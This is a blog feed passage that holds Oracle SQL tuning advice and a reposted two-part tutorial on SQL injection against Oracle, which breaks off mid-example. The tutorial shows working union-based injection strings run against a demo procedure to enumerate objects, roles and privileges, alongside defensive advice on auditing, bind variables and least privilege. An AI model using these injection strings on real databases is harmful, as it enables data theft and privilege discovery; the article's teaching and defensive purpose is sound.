<p>2)Review the Execution Plan:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span><br />
When tuning (or writing) a SQL statement, the goal is to drive from the table that has the most selective filter. This means that there are fewer rows passed to the next step. If the next step is a join, then this means that fewer rows are joined. Check to see whether the access paths are optimal.</p>
<p>We can check it by examine the optimizer execution plan following,</p>
<p>•The plan is such that the driving table has the best filter.</p>
<p>•The join order in each step means that the fewest number of rows are being returned to the next step (that is, the join order should reflect, where possible, going to the best not-yet-used filters).</p>
<p>•The join method is appropriate for the number of rows being returned. For example, nested loop joins through indexes may not be optimal when many rows are being returned.</p>
<p>•Views are used efficiently. Look at the SELECT list to see whether access to the view is necessary.</p>
<p>•There are any unintentional Cartesian products (even with small tables).</p>
<p>•Each table is being accessed efficiently:</p>
<p>-Consider the predicates in the SQL statement and the number of rows in the table. Look for suspicious activity, such as a full table scans on tables with large number of rows, which have predicates in the where clause. Determine why an index is not used for such a selective predicate.</p>
<p>-A full table scan does not mean inefficiency. It might be more efficient to perform a full table scan on a small table, or to perform a full table scan to leverage a better join method (for example, hash_join) for the number of rows returned.</p>
<p>If any of these conditions are not optimal, then consider restructuring the SQL statement or the indexes available on the tables.</p>
<p><span style="font-weight:bold;">3)Restructuring the SQL Statements<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span><br />
Often, rewriting an inefficient SQL statement is easier than modifying it. If you understand the purpose of a given statement, then you might be able to quickly and easily write a new statement that meets the requirement.</p>
<p>While restructuring the SQL statements keep in mind of the following issues.</p>
<p>•Use equijoins whenever possible.<br />
That is compose predicate <span style="font-weight:bold;">using AND and =</span>.</p>
<p>•Avoid Transformed Columns in the WHERE Clause.<br />
That is use<br />
<span style="font-weight:bold;">a=b instead of to_number(a)=to_number(b)</span></p>
<p>When you need to use SQL functions on filters or join predicates, do not use them on the columns on which you want to have an index; rather, use them on the opposite side of the predicate, as in the following statement; if you have index on varcol<br />
<span style="font-weight:bold;"><br />
TO_CHAR(numcol) = varcol</p>
<p>rather than</p>
<p>varcol = TO_CHAR(numcol)</span></p>
<p>•Write Separate SQL Statements for Specific Tasks.<br />
SQL is not a procedural language. Using one piece of SQL to do many different things usually results in a less-than-optimal result for each task. If you want SQL to accomplish different things, then write various statements, rather than writing one statement to do different things depending on the parameters you give it.</p>
<p>It is always better to write separate SQL statements for different tasks, but if you must use one SQL statement, then you can make a very complex statement slightly less complex by using the UNION ALL operator.</p>
<p>•Use of EXISTS versus IN for Subqueries.<br />
In certain circumstances, it is better to use IN rather than EXISTS. In general, if the selective predicate is in the subquery, then use IN. If the selective predicate is in the parent query, then use EXISTS.</p>
<p><span style="font-weight:bold;">4)Controlling the Access Path and Join Order with Hints<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
You can use hints in SQL statements to instruct the optimizer about how the statement should be executed. Hints, such as /*+FULL */ control access paths.</p>
<p>Join order can have a significant effect on performance. The main objective of SQL tuning is to avoid performing unnecessary work to access rows that do not affect the result. This leads to three general rules:</p>
<p>•Avoid a full-table scan if it is more efficient to get the required rows through an index.</p>
<p>•Avoid using an index that fetches 10,000 rows from the driving table if you could instead use another index that fetches 100 rows.</p>
<p>•Choose the join order so as to join fewer rows to tables later in the join order.</p>
<p>•Be careful when joining views, when performing outer joins to views, and when reusing an existing view for a new purpose.</p>
<p>•Joins to complex views are not recommended, particularly joins from one complex view to another. Often this results in the entire view being instantiated, and then the query is run against the view data.</p>
<p>•Beware of writing a view for one purpose and then using it for other purposes to which it might be ill-suited. Querying from a view requires all tables from the view to be accessed for the data to be returned. Before reusing a view, determine whether all tables in the view need to be accessed to return the data. If not, then do not use the view. Instead, use the base table(s), or if necessary, define a new view. The goal is to refer to the minimum number of tables and views necessary to return the required data.</p>
<p>•An outer join within a view is problematic because the performance implications of the outer join are not visible.</p>
<p>•Consider using materialized views.</p>
<p><span style="font-weight:bold;"><br />
5)Restructuring the Indexes<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
Often, there is a beneficial impact on performance by restructuring indexes. This can involve the following:</p>
<p>Remove nonselective indexes to speed the DML.<br />
Index performance-critical access paths.<br />
Consider reordering columns in existing concatenated indexes.<br />
Add columns to the index to improve selectivity.</p>
<p><span style="font-weight:bold;">6)Modifying or Disabling Triggers and Constraints<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
Using triggers consumes system resources. If you use too many triggers, then you can find that performance is adversely affected and you might need to modify or disable them.<br />
<span style="font-weight:bold;"><br />
7)Restructuring the Data<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
After restructuring the indexes and the statement, you can consider restructuring the data.</p>
<p>Introduce derived values. Avoid GROUP BY in response-critical code.</p>
<p>Review your data design. Change the design of your system if it can improve performance.</p>
<p>Consider partitioning, if appropriate.<br />
<span style="font-weight:bold;"><br />
8)Combine Multiples Scans with CASE Statements<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
Often, it is necessary to calculate different aggregates on various sets of tables. Usually, this is done with multiple scans on the table, but it is easy to calculate all the aggregates with one single scan. Eliminating n-1 scans can greatly improve performance.</p>
<p><span style="font-weight:bold;">9)Maintaining Execution Plans Over Time<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span><br />
You can maintain the existing execution plan of SQL statements over time either using stored statistics or stored SQL execution plans. Storing optimizer statistics for tables will apply to all SQL statements that refer to those tables. Storing an execution plan (that is, plan stability) maintains the plan for a single SQL statement. If both statistics and a stored plan are available for a SQL statement, then the optimizer uses the stored plan.</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/haind.wordpress.com/17/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/haind.wordpress.com/17/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/17/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=17&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/07/02/tuning-oracle-sql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>
	</item>
		<item>
		<title>SQL Injection and Oracle, Part Two</title>
		<link>http://haind.wordpress.com/2008/06/13/sql-injection-and-oracle-part-two/</link>
		<comments>http://haind.wordpress.com/2008/06/13/sql-injection-and-oracle-part-two/#comments</comments>
		<pubDate>Fri, 13 Jun 2008 09:47:25 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=16</guid>
		<description><![CDATA[
This is the second part of a two-part article that will examine SQL injection attacks against Oracle databases. The first installment offered an overview of SQL injection and looked at how Oracle database applications are vulnerable to this attack, and looked at some examples. This segment will look at enumerating the privileges, detecting SQL injection [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=16&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><span class="body"></p>
<p class="text">This is the second part of a two-part article that will examine SQL injection attacks against Oracle databases. The <a href="http://online.securityfocus.com/infocus/1644" target="nonlocal">first installment</a> offered an overview of SQL injection and looked at how Oracle database applications are vulnerable to this attack, and looked at some examples. This segment will look at enumerating the privileges, detecting SQL injection attacks, and protecting against SQL injection.</p>
<p class="text"><strong> Enumerating the Privileges </strong></p>
<p class="text">Access to SQL inject an Oracle database is great, but what would an attacker look for to gain an advantage or a potential step up. He would, of course, need to enumerate the user he had access to and see what that user can see and do. I will show a few examples here to give the reader an idea of what is possible.</p>
<p class="text">In this example, we are logged in as the user <em>dbsnmp</em> and the <code>get_cust</code> procedure has been modified to select three columns from our sample table. If we use a <code>union</code> to extend an existing <code>select</code> statement then the new SQL in the union must select the same number of columns and data types as the existing hijacked <code>select</code> otherwise an error occurs, see the following:</p>
<pre>SQL&gt; exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select 1,'Y' from sys.dual where 'x'='x'
-1789ORA-01789: query block has incorrect number of result columns</pre>
<p class="text">The main select has three varchar columns but we select two columns and one is a number; as a result, an error occurs. Back to enumeration, first get the objects that the user we are logged in as can see:</p>
<pre>SQL&gt; exec get_cust('x'' union select object_name,object_type,''x'' from user_obj
ects where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select object_name,object_type,'x' from
user_objects where 'x'='x'
::CUSTOMERS:TABLE:x
::DBA_DATA_FILES:SYNONYM:x
::DBA_FREE_SPACE:SYNONYM:x
::DBA_SEGMENTS:SYNONYM:x
::DBA_TABLESPACES:SYNONYM:x
::GET_CUST:PROCEDURE:x
::GET_CUST2:PROCEDURE:x
::GET_CUST_BIND:PROCEDURE:x
::PLSQ:DATABASE LINK:x</pre>
<p class="text">Then get the roles that have been allocated directly to the user:</p>
<pre>SQL&gt; exec get_cust('x'' union select granted_role,admin_option,default_role from
 user_role_privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select granted_role,admin_option,default_role
from user_role_privs where 'x'='x'
::CONNECT:NO:YES
::RESOURCE:NO:YES
::SNMPAGENT:NO:YES</pre>
<p class="text">Then find out the system privileges that are granted directly to the user:</p>
<pre>SQL&gt; exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_
privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select privilege,admin_option,'X' from
user_sys_privs where 'x'='x'
::CREATE PUBLIC SYNONYM:NO:X
::UNLIMITED TABLESPACE:NO:X</pre>
<p class="text">Selecting from the table USER_TAB_PRIVS will give the privileges granted directly to the user on objects. There are many system views that start USER_%, these show objects and privileges that are granted to the current user as well as details about objects owned by the user. For instance, there are 168 views or tables in Oracle 8.1.7, so this gives an indication of the amount of detail that can be learned about the user you are logged in as. These USER_% views do not include all the many privileges and options available to the current user; however, besides those specifically granted, any user also can include all of the objects that have permissions granted to PUBLIC.</p>
<p class="text">PUBLIC is a catch-all that is available to all users in the Oracle database. There is a good set of views, known as the ALL_% views, that is similar in construction to the USER_% views. These include every item available to the current user, including PUBLIC ones. A good place to start is the view ALL_OBJECTS, as it has a similar structure to USER_OBJECTS and will display every object and its type available to the current user. A good query to see all of the objects, their types and owner available would be:</p>
<pre>select count(*),object_type,owner
from all_objects
group by object_type,owner</pre>
<p class="text">The V$ views is also a good set of views, provided they are available to the user. These give information about the current instance, performance, parameters, and the like. V$PARAMETER, which gives all of the database instance initialization parameters, including details of the UTL_FILE directories is a good example. V$PROCESS and V$SESSION are another pair of views that will give details of current sessions and processes. These will tell the user who is logged on, where they are logged in from, and what program they are using, etc.</p>
<p class="text">In conclusion to this exploration section it is worth mentioning that because I wanted to make easy examples that anyone with a copy of the Oracle RDBMS could try out, I used a PL/SQL procedure to demonstrate the techniques and obviously I had access to my source code. It made it easy for me to understand exactly the SQL I could send successfully without causing errors.</p>
<p class="text">In the real world, in a Web-based environment, or in a network-based application, the source code would probably not be available. As a result, working out how to get successful SQL to send will probably require trial and error. If error messages are returned to the user either directly from the Oracle RDBMS or from the application, then it is usually possible to work out where to change the SQL. An absence of error messages makes it harder but not impossible. All of the Oracle error messages are quite well documented and are available on-line on a Unix system with the <code>oerr</code> command or with the HTML documentation provided with Oracle CDs on any platform. (Remember anyone can get a copy of Oracle to use to learn the product.) They are also on-line, along with the complete Oracle documentation, at <a href="http://tahiti.oracle.com/" target="nonlocal">http://tahiti.oracle.com/</a>.</p>
<p class="text">Having knowledge of Oracle and of the schema of the user being used is also a great advantage. Quite obviously, some of this knowledge is not hard to learn, so the lesson is that in case anyone is able to SQL inject into your database then you need to minimize what they can do, see, or access.</p>
<p class="text"><strong> Detecting SQL Injection </strong></p>
<p class="text">Oracle is a large product and is applied in many diverse uses, so to say that SQL injection can be detected would be wrong; however, in some cases, it should be possible for the DBA or security admin to spot whether or not this technique is being used. If abuse is thought to be taking place then forensic investigations can be done using the redo logs. A GUI tool called <a href="http://www.hcresources.co.uk/log_miner.htm" target="nonlocal">Log Miner</a> is available from Oracle to allow the redo logs to be analysed. However, this has serious restrictions: until version 9i, select statements could not be retrieved. The redo logs allow Oracle to replay all of the events that altered data in the database, this is part of the recovery functionality. It is possible to see all statements and data that has been altered. Two PL/SQL standard packages, DBMS_LOGMNR and DBMS_LOGMNR_D, are available, these packages allow the redo logs to be queried from the command line for all statements processed.</p>
<p><!-- OAS --></p>
<p class="text">The extensive Oracle audit functionality can be utilized but, again, unless you know what you are looking for, finding evidence of SQL injection taking place could like finding a needle in a haystack. The principle of least privilege should be observed in any Oracle database so that only those privileges that are actually needed are granted to the application database users. This simplifies (minimizes) what can be legally done and, as a result, makes any actions outside the scope of these users easier to spot. For instance, if the application user should have access to seven tables and three procedures and nothing else, then using Oracle audit to record select failures on all other tables would enable an administrator to spot any attempted access to any table outside the applications realm. This can be done, for example, for one table with the following audit command:</p>
<pre>SQL&gt; audit select on dbsnmp.customers by access whenever not successful;

Audit succeeded.</pre>
<p class="text">A simple script can be built to generate the audit statements for the tables needed. There should be no real performance issues with this audit, as no other tables should be accessed by the application. As a result, it should not therefore generate audit. Of course, if someone successfully accesses a table outside the realm, it would not be captured. This is merely intended as a first step.</p>
<p class="text">The same audit principles can be used to audit DDL, inserts and update failures or successes. The new SANS guide (see references) has a whole chapter on audit.</p>
<p class="text">Another idea could be to watch the SQL executed and look for any dodgy SQL. A good script called <em>peep.sq</em> can be used to access the SQL executed from the SGA is one called from <a href="http://www.oriole.com/frameindexSA.html" target="nonlocal">http://www.oriole.com/frameindexSA.html</a>, search down the list of free scripts and get it. The script gives the SQL statements in the SGA with the worst performance times. It can be easily modified to remove the execution time restraints and bring back all SQL in the SGA. A script such as this can be scheduled on a regular basis and then the SQL that is returned can be used to <em>guess</em> if any SQL injection has been attempted. I say “guess” because it is virtually impossible to know all legal pieces of SQL an application generates; therefore, the same applies to spotting illegal ones. A good first step would be to identify all statements with “union” included or <code>or</code> statements with ‘x’=’x’ type lines. There could be performance issues with extracting all of the SQL from the SGA regularly!</p>
<p class="text">The best cure of course is prevention!</p>
<p class="text"><strong> Protecting against SQL Injection </strong></p>
<p class="text">On the surface, protection against SQL injection appears to be easy to implement but, in fact, it is not as easy as it looks. The solutions fall into two distinct areas:</p>
<ul><span class="text"></p>
<li>Do not allow dynamic SQL that uses concatenation, or at least filter the input values and check for special characters such as quote symbols.</li>
<li>Use the principle of least privilege and ensure that the users created for the applications have the privileges needed and all extra privileges (such as PUBLIC ones) are not available.</li>
<p></span></ul>
<p class="text">This section cannot go into great detail; such a discussion would constitute an entire article in itself. However, certain basic measures can be taken. These actions fall into two sections:</p>
<ul><span class="text"></p>
<li>Review the application source code. The code can be written in many different languages, such as PHP, JSP, java, PL/SQL VB, etc., so the solutions vary. However, they all follow a similar pattern. Review the source code for dynamic SQL where concatenation is used. Find the call that parses the SQL or executes it. Check back to where values are entered. Ensure that input values are validated and that quotes are matched and metacharacters are checked. Reviewing source code is a task that is specific to the language used.</li>
<li> Secure the database and ensure that all excess privileges are revoked.</li>
<p></span></ul>
<p class="text">Some other simple tips to follow include:</p>
<ul><span class="text"></p>
<li>If possible, do not use dynamic PL/SQL. The potential for damage is much greater than for dynamic SQL, as then there is scope to execute any SQL, DDL, PL/SQL etc.</li>
<li> If dynamic PL/SQL is necessary then use <code>bind<code> variables. </code></code></li>
<li>If PL/SQL is used use AUTHID CURRENT_USER so that the PL/SQL runs as the logged in user and not the creator of the procedure, function or package.</li>
<li>If concatenation is necessary then use numeric values for the concatenation part. This way strings cannot be passed in to add SQL.</li>
<li>If concatenation is necessary then check the input for malicious code, i.e. check for union in the string passed in or metacharacters such as quotes.</li>
<li> For dynamic SQL if it is necessary use <code>bind</code> variables. An example is shown below:</li>
<p></span></ul>
<p class="text">We first need to alter our simple procedure to allow the dynamic part passed in to use a <code>bind</code> variable. This is shown here:</p>
<pre>create or replace procedure get_cust_bind (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                'from customers '||
                                'where customer_surname=:surname';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt using lv_surname;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
exception
        when others then
                dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/</pre>
<p class="text">First we execute with a genuine value, in this case “Clark”, to show that the correct records are returned. We then we try to SQL inject this procedure and find it doesn’t work:</p>
<pre>SQL&gt; exec get_cust_bind('Clark');
debug:select customer_phone from customers where customer_surname=:surname
::999444888
::999777888

PL/SQL procedure successfully completed.

SQL&gt; exec get_cust_bind('x'' union select username from all_users where ''x''=''
x');
debug:select customer_phone from customers where customer_surname=:surname</pre>
<p class="text">Some more pointers:</p>
<ul><span class="text"></p>
<li> Encrypt sensitive data so that it cannot be viewed.</li>
<li> Revoke all PUBLIC privileges where possible from the database</li>
<li>Do not allow access to UTL_FILE, DBMS_LOB, DBMS_PIPE, DBMS_OUTPUT, UTL_HTTP,UTL_SMTP or any other standard or application packages that allow access to the O/S.</li>
<li> Change database default passwords.</li>
<li> Run the listener as a non-privileged user.</li>
<li> Ensure that minimum privileges are granted to application users.</li>
<li> Restrict PL/SQL packages that can be accessed from apache.</li>
<li> Remove all example scripts and programs from the Oracle install.</li>
<p></span></ul>
<p class="text"><strong> Final thoughts </strong></p>
<p class="text">I hope that this article has given an overview of some of the possibilities of SQL injecting Oracle and done so with simple examples that most readers can try. Again, SQL injection is a relatively simple technique and on the surface protecting against it should be fairly simple; however, auditing all of the source code and protecting dynamic input is not trivial, neither is reducing the permissions of all applications users in the database itself. Be vigilant, grant what is needed, and try and reduce dynamic SQL to the minimum.</p>
<p></span></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/haind.wordpress.com/16/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/haind.wordpress.com/16/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/16/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=16&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/06/13/sql-injection-and-oracle-part-two/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>
	</item>
		<item>
		<title>SQL Injection and Oracle, Part One(Pete Finnigan)</title>
		<link>http://haind.wordpress.com/2008/06/13/sql-injection-and-oracle-part-onepete-finnigan/</link>
		<comments>http://haind.wordpress.com/2008/06/13/sql-injection-and-oracle-part-onepete-finnigan/#comments</comments>
		<pubDate>Fri, 13 Jun 2008 09:36:29 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=14</guid>
		<description><![CDATA[SQL Injection and Oracle, Part One
Pete Finnigan 2002-11-21




 SQL Injection and Oracle, Part One
 by Pete Finnigan
 last updated November 21, 2002





SQL injection techniques are an increasingly dangerous threat to the security of information stored upon Oracle Databases. These techniques are being discussed with greater regularity on security mailing lists, forums, and at conferences. There [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=14&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><span class="headline">SQL Injection and Oracle, Part One</span><br />
<span class="author"><a href="mailto:pete@petefinnigan.com">Pete Finnigan</a></span> <span class="date">2002-11-21</span></p>
<p class="firstParagraph">
<table border="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td><span class="bodytext"><strong> SQL Injection and Oracle, Part One<br />
</strong></span> <span class="bodytext"><em>by</em> <a href="mailto:pete@petefinnigan.com">Pete Finnigan</a><br />
</span> <span class="bodytext">last updated November 21, 2002<br />
</span></p>
<hr /></td>
</tr>
<tr>
<td class="bodytext">
<p class="text">SQL injection techniques are an increasingly dangerous threat to the security of information stored upon Oracle Databases. These techniques are being discussed with greater regularity on security mailing lists, forums, and at conferences. There have been many good papers written about SQL Injection and a few about the security of Oracle databases and software but not many that focus on SQL injection and Oracle software. This is the first article in a two-part series that will examine SQL injection attacks against Oracle databases. The objective of this series is to introduce Oracle users to some of the dangers of SQL injection and to suggest some simple ways of protecting against these types of attack.</p>
<p class="text">Oracle is a huge product and SQL injection can be applied to many of its modules, languages and APIs, so this paper is intended to be an overview or introduction to the subject. This two-part series is not intended as a detailed treatise of how to SQL inject an Oracle database, nor is it intended as a detailed discussion on the finer points of the technique in general. (Details of SQL injection techniques have been covered admirably in the past for other languages and databases, particularly by Rain Forest Puppy who pioneered the subject. Some of these papers are included in the reference section at the end of this paper.) Rather, I have designed this paper so that as many readers as possible can try out the examples. To achieve this I have used a PL/SQL procedure that uses dynamic SQL to demonstrate the techniques of SQL injection from the ubiquitous SQL*Plus.</p>
<p class="text">Prior to commencing our discussion, it may be useful for readers to know that all of the code from this paper is available from the author&#8217;s Web site at <a href="http://www.petefinnigan.com/" target="nonlocal">http://www.petefinnigan.com</a> from the scripts menu &#8211; SQL and PL/SQL option..</p>
<p class="text"><strong> What is SQL Injection </strong></p>
<p class="text">SQL Injection is a way to attack the data in a database through a firewall protecting it. It is a method by which the parameters of a Web-based application are modified in order to change the SQL statements that are passed to a database to return data. For example, by adding a single quote (‘) to the parameters, it is possible to cause a second query to be executed with the first.</p>
<p class="text">An attack against a database using SQL Injection could be motivated by two primary objectives:</p>
<ol><span class="text"></p>
<li> To steal data from a database from which the data should not normally be available, or to obtain system configuration data that would allow an attack profile to be built. One example of the latter would be obtaining all of the database password hashes so that passwords can be brute-forced.</li>
<li>To gain access to an organisation’s host computers via the machine hosting the database. This can be done using package procedures and 3GL language extensions that allow O/S access.</li>
<p></span></ol>
<p class="text">There are many ways to use this technique on an Oracle system. This depends upon the language used or the API. The following are some languages, APIs and tools that can access an Oracle database and be part of a Web-based application.</p>
<ul><span class="text"></p>
<li> JSP</li>
<li> ASP</li>
<li> XML, XSL and XSQL</li>
<li> Javascript</li>
<li> VB, MFC, and other ODBC-based tools and APIs</li>
<li> Portal, the older WebDB, and other Oracle Web-based applications and API’s</li>
<li> Reports, discoverer, Oracle Applications</li>
<li> 3- and 4GL-based languages such as C, OCI, Pro*C, and COBOL</li>
<li> Perl and CGI scripts that access Oracle databases</li>
<li> many more.</li>
<p></span></ul>
<p class="text">Any of the above applications, tools, and products could be used as a base from which to SQL inject an Oracle database. A few simple preconditions need to be in place first though. First and foremost amongst these is that dynamic SQL must be used in the application, tool, or product, otherwise SQL Injection is not possible.</p>
<p class="text">The final important point not usually mentioned in discussions about SQL injection against any database including Oracle is that SQL injection is not just a Web-based problem. As is implied in the preceding paragraph, any application that allows a user to enter data that may eventually end up being executed as a piece of dynamic SQL can potentially be SQL injected. Of course, Web-based applications present the greatest risk, as anyone with a browser and an Internet connection can potentially access data they should not.</p>
<p class="text">While second article of this series will include a much more in-depth discussion of how to protect against SQL injection attacks, there are a couple of brief notes that should be mentioned in this introductory section. Data held in Oracle databases should be protected from employees and others who have network access to applications that maintain that data. Those employees could be malicious or may simply want to read data they are not authorized to read. Readers should keep in mind that most threats to data held within databases come from authorized users.</p>
<p class="text">Protecting against SQL Injection on Oracle-based systems is simple in principle and includes two basic stages. These are:</p>
<ol><span class="text"></p>
<li>Audit the application code and change or remove the problems that allow injection to take place. (These problems will be discussed at greater length in the second part of this series.)</li>
<li> Enforce the <em>principle of least privilege</em> at the database level so that even if someone is able to SQL inject an application to steal data, they cannot see anymore data than the designer intended through any normal application interface.</li>
<p></span></ol>
<p class="text">The “Protection” section, which will be included in the second part of this series, will discuss details of how to apply some of these ideas specifically to Oracle-based applications.</p>
<p class="text"><strong> How Can Oracle be Abused </strong></p>
<p class="text">Oracle is like any other database product and, as a result, is vulnerable to SQL injection attacks. While Oracle fairs slightly better than some of the others, the following abuses can be inflicted on an Oracle database:</p>
<ul><span class="text"></p>
<li> UNIONS can be added to an existing statement to execute a second statement;</li>
<li> SUBSELECTS can be added to existing statements;</li>
<li>Existing SQL can be short-circuited to bring back all data. This technique is often used to gain access via third party-implemented authentication schemes;</li>
<li> A large selection of installed packages and procedures are available, these include packages to read and write O/S files;</li>
<li> Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL string;</li>
<li> INSERTS, UPDATES and DELETES can also be injected; and,</li>
<li> Other databases can be injected through the first by using database links.</li>
<p></span></ul>
<p class="text">On the other hand, the following abuses are not possible:</p>
<ul>
<p class="text">
<li> Multiple statements are not allowed; and,</li>
<li>It is also not possible to SQL inject a call that uses bind variables; this is therefore a good solution to most of the SQL injection issues.</li>
</ul>
<p class="text"><strong> Some Specific Examples </strong></p>
<p class="text">Web-based applications constitute the worst threat of SQL injection. These can be written using JSP, ASP, or many of the other languages listed above. Some would argue that SQL injection is only an issue for Web-based applications and at this time this is probably true, as SQL injection is not a particularly well-established threat, especially with Oracle.</p>
<p class="text">To illustrate some of the possibilities of SQL injection on Oracle, I have written a simple PL/SQL procedure that displays the phone number of customers from a hypothetical customer table in a database. As stated in the introduction, it is possible to inject into any piece of SQL that is dynamically built at run time where the input data is not filtered or checked, so it is possible to demonstrate SQL injection using PL/SQL and the ubiquitous tool <a href="http://www.orafaq.com/faqplus.htm" target="nonlocal">SQL*Plus</a>. The procedure uses native dynamic SQL to pass a run-time piece of SQL to the database. I decided to use PL/SQL and SQL*Plus so that any reader having access to Oracle can try out the samples, as no special tools are required other than to have an Oracle database greater than 8i installed. Using a PL/SQL procedure and dynamic SQL is identical in all respects to Web-based SQL injection except that it is local and not remote, readers should bear this in mind while reading through this paper. Also, because of this approach we do not use any character encoding techniques to pass special characters or metacharacters to the database server from a Web browser. The example table structure used is:</p>
<pre>SQL&gt; desc customers
 Name                                      Null?    Type
 ----------------------------------------- -------- ----------------------------
 CUSTOMER_FORNAME                                   VARCHAR2(30)
 CUSTOMER_SURNAME                                   VARCHAR2(30)
 CUSTOMER_PHONE                                     VARCHAR2(30)
 CUSTOMER_FAX                                       VARCHAR2(30)
 CUSTOMER_TYPE                                      NUMBER(10)</pre>
<p>The table has been loaded with three records as follows:</p>
<pre>SQL&gt; select * from customers;

CUSTOMER_FORNAME               CUSTOMER_SURNAME
------------------------------ ------------------------------
CUSTOMER_PHONE                 CUSTOMER_FAX                   CUSTOMER_TYPE
------------------------------ ------------------------------ -------------
Fred                           Clark
999444888                      999444889                                  3

